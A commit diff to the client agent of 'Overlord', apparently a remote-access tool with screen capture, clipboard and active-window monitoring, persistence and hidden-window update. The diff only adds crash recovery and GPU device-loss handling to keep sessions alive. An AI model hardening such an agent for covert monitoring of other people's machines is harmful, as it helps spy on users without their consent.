hopefully fix all issues with random disconnects during stupid panics from GPU mode.

Overlord-Client/cmd/agent/capture/win_bitblt.go

@@ -485,7 +485,10 @@ func (s *capState) ensure(hdcScreen uintptr, w, h int) (uintptr, uintptr, []byte
 		if newBmp == 0 || bits == nil {
 			return 0, 0, nil, 0, syscall.EINVAL
 		}
-		selectObject(s.hdcMem, newBmp)
+		if selectObject(s.hdcMem, newBmp) == 0 {
+			deleteObject(newBmp)
+			return 0, 0, nil, 0, syscall.EINVAL
+		}
 		if s.hbmp != 0 {
 			deleteObject(s.hbmp)
 		}
@@ -516,6 +519,7 @@ func (s *capState) reset() {
 	s.w = 0
 	s.h = 0
 	s.bits = nil
+	stateCreatedAt = time.Time{}
 }
 
 func captureScale() float64 {

Overlord-Client/cmd/agent/capture/win_duplication.go

@@ -24,6 +24,8 @@ const (
 	dxgiErrorNotFound            uintptr = 0x887A0002
 	dxgiErrorWaitTimeout         uintptr = 0x887A0027
 	dxgiErrorAccessLost          uintptr = 0x887A0026
+	dxgiErrorDeviceRemoved       uintptr = 0x887A0005
+	dxgiErrorDeviceReset         uintptr = 0x887A0007
 	S_OK                         uintptr = 0
 )
 
@@ -613,6 +615,7 @@ type duplicationState struct {
 	lastFrameAt   time.Time
 	lastFail      time.Time
 	cursorScratch *image.RGBA
+	createdAt     time.Time
 }
 
 func SetDesktopDuplication(enabled bool) {
@@ -675,6 +678,7 @@ func (s *duplicationState) closeLocked() {
 	s.lastFrame = nil
 	s.lastFrameAt = time.Time{}
 	s.cursorScratch = nil
+	s.createdAt = time.Time{}
 }
 
 func (s *duplicationState) capture(display int) (*image.RGBA, error) {
@@ -713,6 +717,10 @@ func (s *duplicationState) capture(display int) (*image.RGBA, error) {
 		s.closeLocked()
 		return nil, errors.New("dxgi: access lost")
 	}
+	if hr == dxgiErrorDeviceRemoved || hr == dxgiErrorDeviceReset {
+		s.closeLocked()
+		return nil, fmt.Errorf("dxgi: device lost 0x%x", hr)
+	}
 	if hr != S_OK {
 		return nil, fmt.Errorf("dxgi: acquire frame failed 0x%x", hr)
 	}
@@ -826,10 +834,17 @@ func cloneRGBA(src *image.RGBA) *image.RGBA {
 }
 
 func (s *duplicationState) ensure(display int) error {
+	const dxgiDeviceMaxAge = 4 * time.Hour
 	if s.dup != nil && s.display == display {
-		return nil
+		if !s.createdAt.IsZero() && time.Since(s.createdAt) > dxgiDeviceMaxAge {
+			log.Printf("capture: dxgi device age exceeded %v; forcing re-init", dxgiDeviceMaxAge)
+			s.closeLocked()
+		} else {
+			return nil
+		}
+	} else {
+		s.closeLocked()
 	}
-	s.closeLocked()
 
 	monitors := monitorList()
 	if display < 0 || display >= len(monitors) {
@@ -903,6 +918,7 @@ func (s *duplicationState) ensure(display int) error {
 	s.display = display
 	s.bounds = bounds
 	s.cursorBounds = cursorBounds
+	s.createdAt = time.Now()
 
 	return nil
 }
@@ -951,10 +967,13 @@ func (s *duplicationState) readbackFrame(width, height int, rotation uint32, res
 	s.context.CopyResource(s.staging, tex)
 	var mapped d3d11MappedSubresource
 	hr = s.context.Map(s.staging, 0, d3d11MapRead, 0, &mapped)
-	if hr != S_OK || mapped.Data == nil || mapped.RowPitch == 0 {
+	if hr != S_OK {
 		return nil, hr
 	}
 	defer s.context.Unmap(s.staging, 0)
+	if mapped.Data == nil || mapped.RowPitch == 0 {
+		return nil, uintptr(1)
+	}
 
 	pitch := int(mapped.RowPitch)
 	src := unsafe.Slice((*byte)(mapped.Data), pitch*int(srcDesc.Height))

Overlord-Client/cmd/agent/filesearch/lookup.go

@@ -1,8 +1,10 @@
 package filesearch
 
 import (
+	"log"
 	"os"
 	"path/filepath"
+	"runtime/debug"
 	"strings"
 	"sync"
 )
@@ -31,6 +33,11 @@ func LookupExe(exeName string, workers int, onResult ResultFunc) {
 		wg.Add(1)
 		go func() {
 			defer wg.Done()
+			defer func() {
+				if r := recover(); r != nil {
+					log.Printf("[filesearch] worker panic: %v\n%s", r, debug.Stack())
+				}
+			}()
 			for dir := range dirs {
 				walkDir(dir, lowerExe, dirs, &inflight, onResult)
 				inflight.Done()

Overlord-Client/cmd/agent/handlers/agent_update.go

@@ -40,6 +40,7 @@ func HandleAgentUpdate(ctx context.Context, env *agentRuntime.Env, cmdID string,
 	}
 
 	go func() {
+		defer recoverAndLog("agent update", nil)
 		// Let the command_result flush before beginning process replacement.
 		time.Sleep(250 * time.Millisecond)
 		if err := runAgentUpdate(sourceAbs, env.Cfg.EnablePersistence, hideWindow); err != nil {

Overlord-Client/cmd/agent/handlers/ping.go

@@ -18,6 +18,7 @@ func HandlePing(ctx context.Context, env *runtime.Env, envelope map[string]inter
 
 	pong := wire.Pong{Type: "pong", TS: ts}
 	go func() {
+		defer recoverAndLog("pong sender", nil)
 		if err := wire.WriteMsg(ctx, env.Conn, pong); err != nil {
 			log.Printf("ping: failed to send pong: %v", err)
 		}

Overlord-Client/cmd/agent/session.go

@@ -737,13 +737,13 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket.
 		capture.Loop(shotCtx, env)
 	})
 
-	goSafe("activewindow", nil, func() {
+	goSafe("activewindow", cancel, func() {
 		if err := activewindow.Start(ctx, env); err != nil {
 			log.Printf("activewindow error: %v", err)
 		}
 	})
 
-	goSafe("clipboard", nil, func() {
+	goSafe("clipboard", cancel, func() {
 		if err := activewindow.StartClipboard(ctx, env); err != nil {
 			log.Printf("clipboard error: %v", err)
 		}